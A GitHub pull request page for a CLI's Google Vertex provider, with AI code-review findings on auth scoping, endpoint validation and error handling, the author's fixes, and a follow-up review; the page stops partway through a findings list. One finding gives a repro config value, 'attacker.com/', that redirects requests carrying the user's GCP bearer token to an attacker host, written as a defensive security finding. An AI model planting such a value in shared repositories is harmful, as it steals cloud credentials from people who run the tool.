Skip to content

fix: harden Vertex auth and regional endpoints - #118

Open
byapparov wants to merge 3 commits into
mainfrom
backport/provider-hardening
Open

byapparov wants to merge 3 commits into
mainfrom
backport/provider-hardening

Conversation

@byapparov

Copy link
Copy Markdown
Contributor

No linked issue.

Intent

The custom Vertex transport used by the CLI had incomplete auth-client setup and did not use regional REP endpoints for us and eu locations.

Expected Impact on Users

Vertex requests use the documented cloud-platform scope and regional endpoints, reducing authentication and routing failures for custom transports.

Expected Outcomes

  • Google auth obtains a scoped client and access token through the supported client path.
  • us and eu Vertex locations use aiplatform.<location>.rep.googleapis.com.
  • Existing global and ordinary regional endpoints remain unchanged.

Implementation

  • Update the custom Google auth flow and endpoint selection.
  • Scope the auth-library test spies so the full provider test suite retains all exports.

Scope Caveat

This covers the custom transport path. Native Vertex SDK authentication remains managed by the SDK, and live ADC connectivity was not exercised.

Test Plan

  • Provider endpoint and auth tests cover global, regional, REP, and scoped-client behavior.
  • Full provider test suite and typecheck pass.

Verification

  • 249 provider tests passed.
  • CLI typecheck, formatting, and diff checks passed.

Risks and Rollout

The change is isolated to provider configuration and auth setup. Roll back the branch if deployment credentials require a different scope policy.

return isGpt5OrLater(modelID) && !modelID.startsWith("gpt-5-mini")
}

function googleVertexEndpoint(location: string) {

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟠 Unvalidated Vertex location allows endpoint host injection.

🤖 Fix with your agent
Fix this code review finding (aictrl-dev/cli PR #118, packages/cli/src/provider/provider.ts:41-45):

Problem: Unvalidated Vertex location allows endpoint host injection
Detail: googleVertexEndpoint() interpolates `location` (from aictrl.json provider options or GOOGLE_CLOUD_LOCATION/VERTEX_LOCATION env) directly into the endpoint hostname with no validation. A value containing `/` or other URL metacharacters (e.g. `attacker.com/`) breaks out of the hostname suffix, producing `https://attacker.com/-aiplatform.googleapis.com/v1/...`, so every request — including the `Authorization: Bearer` header carrying the ADC cloud-platform OAuth token attached in the fetch wrapper below — is sent to an attacker-controlled host. Because aictrl.json is loaded from the working directory (frequently a cloned/shared repo), a malicious repo config can exfiltrate the victim's GCP access token. The pattern is pre-existing, but this PR is the endpoint-hardening change and the new helper is the natural validation point. Repro: place `{"provider":{"google-vertex":{"options":{"location":"attacker.com/"}}}}` in a shared repo's aictrl.json; victim runs any command loading the google-vertex provider with ADC present; requests (with Bearer token) go to attacker.com.
Suggested fix: Validate location in googleVertexEndpoint() before interpolating: accept only `global`, `eu`, `us`, or strings matching /^[a-z0-9-]+$/ (optionally against a known GCP region list); throw a config error otherwise. This also transitively sanitizes the GOOGLE_VERTEX_LOCATION path-segment substitution in the API URL template.

Implement the fix on the PR head branch and add a regression test that fails before the fix and passes after.
Why this matters

googleVertexEndpoint() interpolates location (from aictrl.json provider options or GOOGLE_CLOUD_LOCATION/VERTEX_LOCATION env) directly into the endpoint hostname with no validation. A value containing / or other URL metacharacters (e.g. attacker.com/) breaks out of the hostname suffix, producing https://attacker.com/-aiplatform.googleapis.com/v1/..., so every request — including the Authorization: Bearer header carrying the ADC cloud-platform OAuth token attached in the fetch wrapper below — is sent to an attacker-controlled host. Because aictrl.json is loaded from the working directory (frequently a cloned/shared repo), a malicious repo config can exfiltrate the victim's GCP access token. The pattern is pre-existing, but this PR is the endpoint-hardening change and the new helper is the natural validation point. Repro: place {"provider":{"google-vertex":{"options":{"location":"attacker.com/"}}}} in a shared repo's aictrl.json; victim runs any command loading the google-vertex provider with ADC present; requests (with Bearer token) go to attacker.com.

  function googleVertexEndpoint(location: string) {
    if (location === "global") return "aiplatform.googleapis.com"
    if (location === "eu" || location === "us") return `aiplatform.${location}.rep.googleapis.com`
    return `${location}-aiplatform.googleapis.com`
  }

  function googleVertexVars(options: Record<string, any>) {

return isGpt5OrLater(modelID) && !modelID.startsWith("gpt-5-mini")
}

function googleVertexEndpoint(location: string) {

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟡 Vertex location not normalized; EU/US miss rep endpoint.

Suggested change
function googleVertexEndpoint(location: string) {
Normalize once: `const loc = location.trim().toLowerCase()` at the top of googleVertexEndpoint (and reuse the normalized value for GOOGLE_VERTEX_LOCATION) so EU/us/"global " all resolve to the intended endpoints.
🤖 Fix with your agent
Fix this code review finding (aictrl-dev/cli PR #118, packages/cli/src/provider/provider.ts:41-44):

Problem: Vertex location not normalized; EU/US miss rep endpoint
Detail: googleVertexEndpoint() exact-matches the lowercase strings "eu"/"us" (and "global") without trimming or lowercasing the resolved location. A user who sets GOOGLE_CLOUD_LOCATION=EU or VERTEX_LOCATION=US (or a value with trailing whitespace) falls through to the regional template and gets an invalid host like EU-aiplatform.googleapis.com, defeating the new multi-region endpoint support with a DNS failure instead of using aiplatform.eu.rep.googleapis.com. Repro: Given GOOGLE_CLOUD_LOCATION=EU and a google-vertex provider using default location resolution, When any command loads the provider, Then GOOGLE_VERTEX_ENDPOINT resolves to "EU-aiplatform.googleapis.com" and every model request fails DNS resolution.
Suggested fix: Normalize once: `const loc = location.trim().toLowerCase()` at the top of googleVertexEndpoint (and reuse the normalized value for GOOGLE_VERTEX_LOCATION) so EU/us/"global " all resolve to the intended endpoints.

Implement the fix on the PR head branch and add a regression test that fails before the fix and passes after.
Why this matters

googleVertexEndpoint() exact-matches the lowercase strings "eu"/"us" (and "global") without trimming or lowercasing the resolved location. A user who sets GOOGLE_CLOUD_LOCATION=EU or VERTEX_LOCATION=US (or a value with trailing whitespace) falls through to the regional template and gets an invalid host like EU-aiplatform.googleapis.com, defeating the new multi-region endpoint support with a DNS failure instead of using aiplatform.eu.rep.googleapis.com. Repro: Given GOOGLE_CLOUD_LOCATION=EU and a google-vertex provider using default location resolution, When any command loads the provider, Then GOOGLE_VERTEX_ENDPOINT resolves to "EU-aiplatform.googleapis.com" and every model request fails DNS resolution.

  function googleVertexEndpoint(location: string) {
    if (location === "global") return "aiplatform.googleapis.com"
    if (location === "eu" || location === "us") return `aiplatform.${location}.rep.googleapis.com`
    return `${location}-aiplatform.googleapis.com`
  }

  function googleVertexVars(options: Record<string, any>) {

Comment thread packages/cli/src/provider/provider.ts Outdated
const auth = new GoogleAuth()
const client = await auth.getApplicationDefault()
const token = await client.credential.getAccessToken()
const auth = new GoogleAuth({ scopes: ["https://www.googleapis.com/auth/cloud-platform"] })

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟡 Vertex fetch mints a new auth token on every request.

🤖 Fix with your agent
Fix this code review finding (aictrl-dev/cli PR #118, packages/cli/src/provider/provider.ts:385-387):

Problem: Vertex fetch mints a new auth token on every request
Detail: The custom fetch wrapper constructs a new GoogleAuth and calls getClient()/getAccessToken() on every single HTTP request. Each call re-resolves ADC (credentials file or metadata server) and mints a fresh token, adding a round trip per LLM request and risking metadata-server rate limits. Pre-existing, but this PR rewrites exactly these lines, making it the natural point to hoist the auth client into the closure and let google-auth-library's AuthClient reuse its cached token until expiry.
Suggested fix: Create the client once per provider (memoize in the enclosing scope, e.g. `let clientPromise: Promise<AuthClient> | undefined`) and only call `client.getAccessToken()` per request so google-auth-library's built-in token caching applies.

Implement the fix on the PR head branch and add a regression test that fails before the fix and passes after.
Why this matters

The custom fetch wrapper constructs a new GoogleAuth and calls getClient()/getAccessToken() on every single HTTP request. Each call re-resolves ADC (credentials file or metadata server) and mints a fresh token, adding a round trip per LLM request and risking metadata-server rate limits. Pre-existing, but this PR rewrites exactly these lines, making it the natural point to hoist the auth client into the closure and let google-auth-library's AuthClient reuse its cached token until expiry.

          location,
          fetch: async (input: RequestInfo | URL, init?: RequestInit) => {
            const { GoogleAuth } = await import("google-auth-library")
            const auth = new GoogleAuth({ scopes: ["https://www.googleapis.com/auth/cloud-platform"] })
            const client = await auth.getClient()
            const token = await client.getAccessToken()

            const headers = new Headers(init?.headers)

@aictrl-dev

aictrl-dev Bot commented Sep 14, 2026

Copy link
Copy Markdown

Code review

Verdict: Address the major findings before merging. · 🔴 0 · 🟠 1 · 🟡 2 · ⚪ 0 · 0/3 resolved

  • 🟠 packages/cli/src/provider/provider.ts:41-45 — Unvalidated Vertex location allows endpoint host injection
  • 🟡 packages/cli/src/provider/provider.ts:41-44 — Vertex location not normalized; EU/US miss rep endpoint
  • 🟡 packages/cli/src/provider/provider.ts:385-387 — Vertex fetch mints a new auth token on every request
🤖 Fix all 3 open findings with your agent
Fix the following code review findings on aictrl-dev/cli PR #118 (head branch).
Run the relevant tests/linters after each change.

1. packages/cli/src/provider/provider.ts:41-45 — Unvalidated Vertex location allows endpoint host injection
   Detail: googleVertexEndpoint() interpolates `location` (from aictrl.json provider options or GOOGLE_CLOUD_LOCATION/VERTEX_LOCATION env) directly into the endpoint hostname with no validation. A value containing `/` or other URL metacharacters (e.g. `attacker.com/`) breaks out of the hostname suffix, producing `https://attacker.com/-aiplatform.googleapis.com/v1/...`, so every request — including the `Authorization: Bearer` header carrying the ADC cloud-platform OAuth token attached in the fetch wrapper below — is sent to an attacker-controlled host. Because aictrl.json is loaded from the working directory (frequently a cloned/shared repo), a malicious repo config can exfiltrate the victim's GCP access token. The pattern is pre-existing, but this PR is the endpoint-hardening change and the new helper is the natural validation point. Repro: place `{"provider":{"google-vertex":{"options":{"location":"attacker.com/"}}}}` in a shared repo's aictrl.json; victim runs any command loading the google-vertex provider with ADC present; requests (with Bearer token) go to attacker.com.
   Suggested fix: Validate location in googleVertexEndpoint() before interpolating: accept only `global`, `eu`, `us`, or strings matching /^[a-z0-9-]+$/ (optionally against a known GCP region list); throw a config error otherwise. This also transitively sanitizes the GOOGLE_VERTEX_LOCATION path-segment substitution in the API URL template.
2. packages/cli/src/provider/provider.ts:41-44 — Vertex location not normalized; EU/US miss rep endpoint
   Detail: googleVertexEndpoint() exact-matches the lowercase strings "eu"/"us" (and "global") without trimming or lowercasing the resolved location. A user who sets GOOGLE_CLOUD_LOCATION=EU or VERTEX_LOCATION=US (or a value with trailing whitespace) falls through to the regional template and gets an invalid host like EU-aiplatform.googleapis.com, defeating the new multi-region endpoint support with a DNS failure instead of using aiplatform.eu.rep.googleapis.com. Repro: Given GOOGLE_CLOUD_LOCATION=EU and a google-vertex provider using default location resolution, When any command loads the provider, Then GOOGLE_VERTEX_ENDPOINT resolves to "EU-aiplatform.googleapis.com" and every model request fails DNS resolution.
   Suggested fix: Normalize once: `const loc = location.trim().toLowerCase()` at the top of googleVertexEndpoint (and reuse the normalized value for GOOGLE_VERTEX_LOCATION) so EU/us/"global " all resolve to the intended endpoints.
3. packages/cli/src/provider/provider.ts:385-387 — Vertex fetch mints a new auth token on every request
   Detail: The custom fetch wrapper constructs a new GoogleAuth and calls getClient()/getAccessToken() on every single HTTP request. Each call re-resolves ADC (credentials file or metadata server) and mints a fresh token, adding a round trip per LLM request and risking metadata-server rate limits. Pre-existing, but this PR rewrites exactly these lines, making it the natural point to hoist the auth client into the closure and let google-auth-library's AuthClient reuse its cached token until expiry.
   Suggested fix: Create the client once per provider (memoize in the enclosing scope, e.g. `let clientPromise: Promise<AuthClient> | undefined`) and only call `client.getAccessToken()` per request so google-auth-library's built-in token caching applies.
📋 Out-of-diff findings (3)
Sev Location Finding
🟠 packages/cli/src/provider/provider.ts:41-45 Unvalidated Vertex location allows endpoint host injection
🟡 packages/cli/src/provider/provider.ts:41-44 Vertex location not normalized; EU/US miss rep endpoint
🟡 packages/cli/src/provider/provider.ts:385-387 Vertex fetch mints a new auth token on every request

Reviewed 2 files · 0 inline · view all 3 findings ↗


aictrl · AI code review for fast-moving teams · aictrl.dev

@byapparov

Copy link
Copy Markdown
Contributor Author

Review response — PR #118

Verified and fixed all three findings in the existing provider-hardening branch.

Issues addressed (pushed to this PR)

  • Unvalidated Vertex location allows endpoint host injectionpackages/cli/src/provider/provider.ts: validate resolved locations before SDK construction or credential lookup; reject unsafe URL characters and invalid region forms (commit baf4368b3d).
  • Vertex location not normalized; EU/US miss rep endpointpackages/cli/src/provider/provider.ts: trim and lowercase locations, including the final config merge, so endpoint hosts, path substitutions, and native SDK options agree (commit baf4368b3d).
  • Vertex fetch discards auth cache on every requestpackages/cli/src/provider/provider.ts: reuse one GoogleAuth instance per provider lifecycle, retaining the library’s cached credential and concurrent client-resolution state while credential discovery remains lazy. Whether a fresh token was previously minted depends on the ADC credential type (commit baf4368b3d).

Validation: 267 provider tests passed, including invalid config/environment locations, uppercase/whitespace normalization, and concurrent auth/client reuse. CLI and repository-wide typechecks (6 tasks), Prettier, and diff checks passed. Changes were pushed normally without verification bypass flags.

Review claims verified false (no change needed)

None.

Not addressed here

None. Verdict data-layer persistence is unavailable in this session: matched 0, written 0, verified 0, failed 0, unrecorded 3. The structured sidecar below records all three GitHub verdicts.

@github-actions

Copy link
Copy Markdown

Review

The core changes are correct and verified:

  • new GoogleAuth({ scopes: ["...cloud-platform"] }).getClient() is the right fix. I checked google-auth-library 10.5.0 source: getClient() performs full ADC resolution (#determineClient()getApplicationDefaultAsync(this.clientOptions)) and applies scopes to JWT/external clients, caches via cachedCredential, and dedupes concurrent discovery via #pendingAuthClient. The old new GoogleAuth() + getApplicationDefault() path never passed scopes, so user credentials (gcloud ADC) could mint tokens without the cloud-platform scope.
  • aiplatform.us.rep.googleapis.com / aiplatform.eu.rep.googleapis.com match Google's documented data-residency endpoints.
  • The location validation effectively blocks host injection into the templated endpoint (charset limited to [a-z0-9-], no dots/@//, length capped before the regex, so no ReDoS either).
  • The re-normalization at provider.ts:1111 correctly handles config options being merged after the custom loader (e.g. config location: " EU " overriding the loader's normalized value).

Issues

1. [Medium] Hard throw during provider registry init has disproportionate blast radius

googleVertexLocation throws inside state() — both at provider.ts:383 (custom loader) and provider.ts:1111 (registry loop). google-vertex enters the registry whenever any of its models.dev env vars is set — GOOGLE_APPLICATION_CREDENTIALS alone suffices, and GOOGLE_CLOUD_PROJECT is set by default in Cloud Shell / most GCP environments. So a user with:

  • GOOGLE_CLOUD_LOCATION="" (set-but-empty — "" is non-nullish, so it bypasses the ?? default chain, trims to "", and fails the regex), or
  • an invalid value like a zone (us-central1-a) or US_CENTRAL1,

…gets state() rejecting for all providers, not just Vertex: getModel/getProvider/getLanguage and model listing all fail, even for unrelated providers with valid API keys. Previously a bad location only broke Vertex requests. Suggest: (a) treat empty/whitespace-only env values as unset, and (b) either validate lazily (only when a google-vertex model is actually resolved/used) or fall back to us-central1 with log.warn instead of throwing during registry init.

2. [Low] google-vertex-anthropic loader left unvalidated

The loader at provider.ts:409-425 still reads GOOGLE_CLOUD_LOCATION/VERTEX_LOCATION raw (and defaults to global, not us-central1), so the same env var is validated for google-vertex yet flows unvalidated into the native SDK for google-vertex-anthropic. Also note neither loader honors GOOGLE_VERTEX_PROJECT/GOOGLE_VERTEX_LOCATION — the env vars models.dev advertises for this provider (pre-existing, but easy to address while touching this code).

3. [Nit] Plain Error instead of a NamedError subclass

The codebase classifies failures via NamedError (InitError, ModelNotFoundError); the new throw is a bare Error, so it won't be classified/handled consistently.

Tests

Good coverage — normalization, rejection (including type confusion and length), env-var precedence, auth reuse, and scope application. Two notes: the empty-string env-var case from issue 1 is currently a throwing behavior, so if you adopt the "treat empty as unset" suggestion, add a test for it; and the scope test's Reflect.get(this, "scopes") reaches into an undocumented field (it exists in 10.5.0, but is brittle across major upgrades of google-auth-library).

Reviewed SHA: baf4368


// Config options are merged after custom loaders; normalize the final value
// for native SDKs as well as templated OpenAI-compatible endpoints.
if (providerID === "google-vertex") provider.options.location = googleVertexLocation(provider.options)

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟠 Invalid Vertex location crashes all provider loading.

🤖 Fix with your agent
Fix this code review finding (aictrl-dev/cli PR #118, packages/cli/src/provider/provider.ts:1111):

Problem: Invalid Vertex location crashes all provider loading
Detail: googleVertexLocation() throws on invalid input, and it is invoked unguarded in two places that run for every provider load: the google-vertex custom loader (provider.ts:382, called via `const result = await fn(data)` at provider.ts:1085 with no try/catch) and the all-providers normalization loop (provider.ts:1111). Both sit inside `Instance.state(...)`, so one bad GOOGLE_CLOUD_LOCATION/VERTEX_LOCATION value or aictrl.json `options.location` (a zone like "us-central1-a", a typo, an empty string, or a non-string) makes state() reject and Provider.list/getProvider/getModel/defaultModel fail for ALL providers, including unrelated ones. Before this PR the same values only produced a broken hostname for google-vertex models at request time. The neighbouring code in the same loops degrades gracefully (log.error + continue at provider.ts:1082-1083, delete + continue at provider.ts:1105-1106), so the fail-hard crash is also inconsistent with the file's own convention. Repro: Given GOOGLE_CLOUD_LOCATION=us-central1-a (a zone, commonly exported in gcloud shells) and any config that mentions google-vertex, When the user runs any command that resolves providers, Then state initialization throws "Invalid Google Vertex location" and every provider/model operation fails, including unrelated providers.
Suggested fix: Contain the failure to the google-vertex entry, matching the loop's existing degradation convention: wrap the normalization in try/catch and on failure log.error the reason and delete/skip the google-vertex provider (`try { provider.options.location = googleVertexLocation(provider.options) } catch (e) { log.error(String(e)); delete providers[providerID]; continue }`), and/or catch the loader throw at the `await fn(data)` site. Alternatively defer validation to first use (fetch/getSDK) instead of provider enumeration so a misconfigured Vertex cannot take down unrelated providers.

Implement the fix on the PR head branch and add a regression test that fails before the fix and passes after.
Why this matters

googleVertexLocation() throws on invalid input, and it is invoked unguarded in two places that run for every provider load: the google-vertex custom loader (provider.ts:382, called via const result = await fn(data) at provider.ts:1085 with no try/catch) and the all-providers normalization loop (provider.ts:1111). Both sit inside Instance.state(...), so one bad GOOGLE_CLOUD_LOCATION/VERTEX_LOCATION value or aictrl.json options.location (a zone like "us-central1-a", a typo, an empty string, or a non-string) makes state() reject and Provider.list/getProvider/getModel/defaultModel fail for ALL providers, including unrelated ones. Before this PR the same values only produced a broken hostname for google-vertex models at request time. The neighbouring code in the same loops degrades gracefully (log.error + continue at provider.ts:1082-1083, delete + continue at provider.ts:1105-1106), so the fail-hard crash is also inconsistent with the file's own convention. Repro: Given GOOGLE_CLOUD_LOCATION=us-central1-a (a zone, commonly exported in gcloud shells) and any config that mentions google-vertex, When the user runs any command that resolves providers, Then state initialization throws "Invalid Google Vertex location" and every provider/model operation fails, including unrelated providers.

      if (!isProviderAllowed(providerID)) {
        delete providers[providerID]
        continue
      }

      // Config options are merged after custom loaders; normalize the final value
      // for native SDKs as well as templated OpenAI-compatible endpoints.
      if (providerID === "google-vertex") provider.options.location = googleVertexLocation(provider.options)

      const configProvider = config.provider?.[providerID]

const raw = options["location"] ?? Env.get("GOOGLE_CLOUD_LOCATION") ?? Env.get("VERTEX_LOCATION") ?? "us-central1"
const location = typeof raw === "string" ? raw.trim().toLowerCase() : ""
if (location.length > 52 || !/^(?:global|us|eu|[a-z]+(?:-[a-z]+)+[0-9]+)$/.test(location)) {
throw new Error("Invalid Google Vertex location. Use global, us, eu, or a region such as us-central1.")

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟡 Bare new Error deviates from NamedError convention.

🤖 Fix with your agent
Fix this code review finding (aictrl-dev/cli PR #118, packages/cli/src/provider/provider.ts:45):

Problem: Bare new Error deviates from NamedError convention
Detail: provider.ts reports failures through structured typed errors built from NamedError.create in packages/util/src/error.ts (e.g. `throw new InitError({ providerID }, { cause: e })` in getSDK, ModelNotFoundError in getModel). The new `throw new Error("Invalid Google Vertex location...")` is a bare string Error, bypassing the structured error pipeline the rest of this namespace uses for user-facing reporting.
Suggested fix: Define the error via NamedError.create (e.g. ProviderOptionError with providerID/option/value fields) and throw it with the offending value and providerID, keeping the human-readable hint in the message.

Implement the fix on the PR head branch and add a regression test that fails before the fix and passes after.
Why this matters

provider.ts reports failures through structured typed errors built from NamedError.create in packages/util/src/error.ts (e.g. throw new InitError({ providerID }, { cause: e }) in getSDK, ModelNotFoundError in getModel). The new throw new Error("Invalid Google Vertex location...") is a bare string Error, bypassing the structured error pipeline the rest of this namespace uses for user-facing reporting.

    const location = typeof raw === "string" ? raw.trim().toLowerCase() : ""
    if (location.length > 52 || !/^(?:global|us|eu|[a-z]+(?:-[a-z]+)+[0-9]+)$/.test(location)) {
      throw new Error("Invalid Google Vertex location. Use global, us, eu, or a region such as us-central1.")
    }

const location = googleVertexLocation(options)

return {
GOOGLE_VERTEX_PROJECT: project,

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟡 GOOGLE_VERTEX_PROJECT interpolated into URL unvalidated.

🤖 Fix with your agent
Fix this code review finding (aictrl-dev/cli PR #118, packages/cli/src/provider/provider.ts:62-64):

Problem: GOOGLE_VERTEX_PROJECT interpolated into URL unvalidated
Detail: googleVertexVars() strictly validates `location` but exports `project` verbatim from the same untrusted sources (aictrl.json options or GOOGLE_CLOUD_PROJECT/GCP_PROJECT/GCLOUD_PROJECT env) as GOOGLE_VERTEX_PROJECT, which is string-interpolated into the templated API URL path (https://${GOOGLE_VERTEX_ENDPOINT}/v1/projects/${GOOGLE_VERTEX_PROJECT}/locations/...). A project value containing '/', '?', '#', or '..' rewrites the path or query on the validated googleapis.com host — the same trust boundary and interpolation pattern that motivated the location hardening, left unchecked. Impact is bounded (the host is already validated) but it enables path/query confusion.
Suggested fix: Validate project alongside location, e.g. `if (!/^[a-z][a-z0-9-]{4,28}[a-z0-9]$/.test(project) && !/^[0-9]{4,30}$/.test(project)) throw ...` (project ID or project number) inside googleVertexVars, mirroring googleVertexLocation.

Implement the fix on the PR head branch and add a regression test that fails before the fix and passes after.
Why this matters

googleVertexVars() strictly validates location but exports project verbatim from the same untrusted sources (aictrl.json options or GOOGLE_CLOUD_PROJECT/GCP_PROJECT/GCLOUD_PROJECT env) as GOOGLE_VERTEX_PROJECT, which is string-interpolated into the templated API URL path (https://${GOOGLE_VERTEX_ENDPOINT}/v1/projects/${GOOGLE_VERTEX_PROJECT}/locations/...). A project value containing '/', '?', '#', or '..' rewrites the path or query on the validated googleapis.com host — the same trust boundary and interpolation pattern that motivated the location hardening, left unchecked. Impact is bounded (the host is already validated) but it enables path/query confusion.

  function googleVertexVars(options: Record<string, any>) {
    const project =
      options["project"] ?? Env.get("GOOGLE_CLOUD_PROJECT") ?? Env.get("GCP_PROJECT") ?? Env.get("GCLOUD_PROJECT")
    const location = googleVertexLocation(options)

    return {
      GOOGLE_VERTEX_PROJECT: project,

function googleVertexLocation(options: Record<string, any>) {
const raw = options["location"] ?? Env.get("GOOGLE_CLOUD_LOCATION") ?? Env.get("VERTEX_LOCATION") ?? "us-central1"
const location = typeof raw === "string" ? raw.trim().toLowerCase() : ""
if (location.length > 52 || !/^(?:global|us|eu|[a-z]+(?:-[a-z]+)+[0-9]+)$/.test(location)) {

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟡 Regex now rejects zones and legacy values on a backport.

Suggested change
if (location.length > 52 || !/^(?:global|us|eu|[a-z]+(?:-[a-z]+)+[0-9]+)$/.test(location)) {
Either accept zones by stripping a trailing single-letter `-a..z` suffix before validating, or keep the rejection but document the newly rejected forms (zones, empty string, non-strings) in the changelog/release notes for the backport.
🤖 Fix with your agent
Fix this code review finding (aictrl-dev/cli PR #118, packages/cli/src/provider/provider.ts:44-45):

Problem: Regex now rejects zones and legacy values on a backport
Detail: The pattern requires a trailing digit run, so zone-style locations like "us-central1-a" (commonly exported in gcloud-oriented shells as GOOGLE_CLOUD_LOCATION) and any legacy value without trailing digits now hard-fail, as do empty strings and non-string config values the old code tolerated. Before this PR such a value loaded fine and merely produced a broken hostname at Vertex request time; combined with the new throw-at-load behavior this is a silent breaking change for existing configs, and this PR targets a backport branch.
Suggested fix: Either accept zones by stripping a trailing single-letter `-a..z` suffix before validating, or keep the rejection but document the newly rejected forms (zones, empty string, non-strings) in the changelog/release notes for the backport.

Implement the fix on the PR head branch and add a regression test that fails before the fix and passes after.
Why this matters

The pattern requires a trailing digit run, so zone-style locations like "us-central1-a" (commonly exported in gcloud-oriented shells as GOOGLE_CLOUD_LOCATION) and any legacy value without trailing digits now hard-fail, as do empty strings and non-string config values the old code tolerated. Before this PR such a value loaded fine and merely produced a broken hostname at Vertex request time; combined with the new throw-at-load behavior this is a silent breaking change for existing configs, and this PR targets a backport branch.

    const raw = options["location"] ?? Env.get("GOOGLE_CLOUD_LOCATION") ?? Env.get("VERTEX_LOCATION") ?? "us-central1"
    const location = typeof raw === "string" ? raw.trim().toLowerCase() : ""
    if (location.length > 52 || !/^(?:global|us|eu|[a-z]+(?:-[a-z]+)+[0-9]+)$/.test(location)) {
      throw new Error("Invalid Google Vertex location. Use global, us, eu, or a region such as us-central1.")
    }

function googleVertexLocation(options: Record<string, any>) {
const raw = options["location"] ?? Env.get("GOOGLE_CLOUD_LOCATION") ?? Env.get("VERTEX_LOCATION") ?? "us-central1"
const location = typeof raw === "string" ? raw.trim().toLowerCase() : ""
if (location.length > 52 || !/^(?:global|us|eu|[a-z]+(?:-[a-z]+)+[0-9]+)$/.test(location)) {

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Magic length cap 52 for location is unexplained.

🤖 Fix with your agent
Fix this code review finding (aictrl-dev/cli PR #118, packages/cli/src/provider/provider.ts:44):

Problem: Magic length cap 52 for location is unexplained
Detail: The `location.length > 52` guard is an undocumented magic number with no named constant or derivation note; the longest real GCP region ids are ~25 chars, so the origin of 52 is opaque to maintainers. The regex on the same line already encodes the shape rules.
Suggested fix: Extract a named constant with a short derivation comment, e.g. `const MAX_VERTEX_LOCATION_LENGTH = 52 // defensive cap; longest GCP region ids are ~25 chars`, or encode segment length bounds in the regex instead of a separate numeric cap.

Implement the fix on the PR head branch and add a regression test that fails before the fix and passes after.
Why this matters

The location.length > 52 guard is an undocumented magic number with no named constant or derivation note; the longest real GCP region ids are ~25 chars, so the origin of 52 is opaque to maintainers. The regex on the same line already encodes the shape rules.

    const location = typeof raw === "string" ? raw.trim().toLowerCase() : ""
    if (location.length > 52 || !/^(?:global|us|eu|[a-z]+(?:-[a-z]+)+[0-9]+)$/.test(location)) {
      throw new Error("Invalid Google Vertex location. Use global, us, eu, or a region such as us-central1.")
    }

const autoload = Boolean(project)
if (!autoload) return { autoload: false }
const location = googleVertexLocation(provider.options ?? {})
const { GoogleAuth } = await import("google-auth-library")

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

google-auth-library import now eager at provider load.

🤖 Fix with your agent
Fix this code review finding (aictrl-dev/cli PR #118, packages/cli/src/provider/provider.ts:384-386):

Problem: google-auth-library import now eager at provider load
Detail: `await import("google-auth-library")` moved from inside the fetch callback (loaded on first request, only for actual Vertex usage) to provider-load time: it now runs during state initialization whenever a project env var is set (GOOGLE_CLOUD_PROJECT/GCP_PROJECT/GCLOUD_PROJECT are common in GCP shells and CI), adding the module-load cost to every CLI startup for users who may never use Vertex. If the dynamic import ever rejects, the throw now happens inside the shared CUSTOM_LOADERS loop and breaks all provider resolution instead of a single provider's request.
Suggested fix: Keep the module lazy while sharing the instance: memoize inside the closure, e.g. `const getAuth = async () => new GoogleAuth({ scopes: [...] })` with the import inside a lazily-resolved promise, invoked from the fetch wrapper on first use.

Implement the fix on the PR head branch and add a regression test that fails before the fix and passes after.
Why this matters

await import("google-auth-library") moved from inside the fetch callback (loaded on first request, only for actual Vertex usage) to provider-load time: it now runs during state initialization whenever a project env var is set (GOOGLE_CLOUD_PROJECT/GCP_PROJECT/GCLOUD_PROJECT are common in GCP shells and CI), adding the module-load cost to every CLI startup for users who may never use Vertex. If the dynamic import ever rejects, the throw now happens inside the shared CUSTOM_LOADERS loop and breaks all provider resolution instead of a single provider's request.

      const autoload = Boolean(project)
      if (!autoload) return { autoload: false }
      const location = googleVertexLocation(provider.options ?? {})
      const { GoogleAuth } = await import("google-auth-library")
      // GoogleAuth shares ADC resolution and token-refresh state for this provider.
      // Credential discovery remains lazy until the first custom fetch.
      const auth = new GoogleAuth({ scopes: ["https://www.googleapis.com/auth/cloud-platform"] })

@aictrl-dev

aictrl-dev Bot commented Sep 14, 2026

Copy link
Copy Markdown

Code review

Verdict: Address the major findings before merging. · 🔴 0 · 🟠 2 · 🟡 3 · ⚪ 2 · 0/7 resolved

  • 🟡 packages/cli/src/provider/provider.ts:44-45 — Regex now rejects zones and legacy values on a backport
  • packages/cli/src/provider/provider.ts:44 — Magic length cap 52 for location is unexplained
  • 🟡 packages/cli/src/provider/provider.ts:45 — Bare new Error deviates from NamedError convention
  • 🟡 packages/cli/src/provider/provider.ts:62-64 — GOOGLE_VERTEX_PROJECT interpolated into URL unvalidated
  • packages/cli/src/provider/provider.ts:384-386 — google-auth-library import now eager at provider load
  • 🟠 packages/cli/src/provider/provider.ts:410-417 — google-vertex-anthropic bypasses the new location validation
  • 🟠 packages/cli/src/provider/provider.ts:1111 — Invalid Vertex location crashes all provider loading
🤖 Fix all 7 open findings with your agent
Fix the following code review findings on aictrl-dev/cli PR #118 (head branch).
Run the relevant tests/linters after each change.

1. packages/cli/src/provider/provider.ts:44-45 — Regex now rejects zones and legacy values on a backport
   Detail: The pattern requires a trailing digit run, so zone-style locations like "us-central1-a" (commonly exported in gcloud-oriented shells as GOOGLE_CLOUD_LOCATION) and any legacy value without trailing digits now hard-fail, as do empty strings and non-string config values the old code tolerated. Before this PR such a value loaded fine and merely produced a broken hostname at Vertex request time; combined with the new throw-at-load behavior this is a silent breaking change for existing configs, and this PR targets a backport branch.
   Suggested fix: Either accept zones by stripping a trailing single-letter `-a..z` suffix before validating, or keep the rejection but document the newly rejected forms (zones, empty string, non-strings) in the changelog/release notes for the backport.
2. packages/cli/src/provider/provider.ts:44 — Magic length cap 52 for location is unexplained
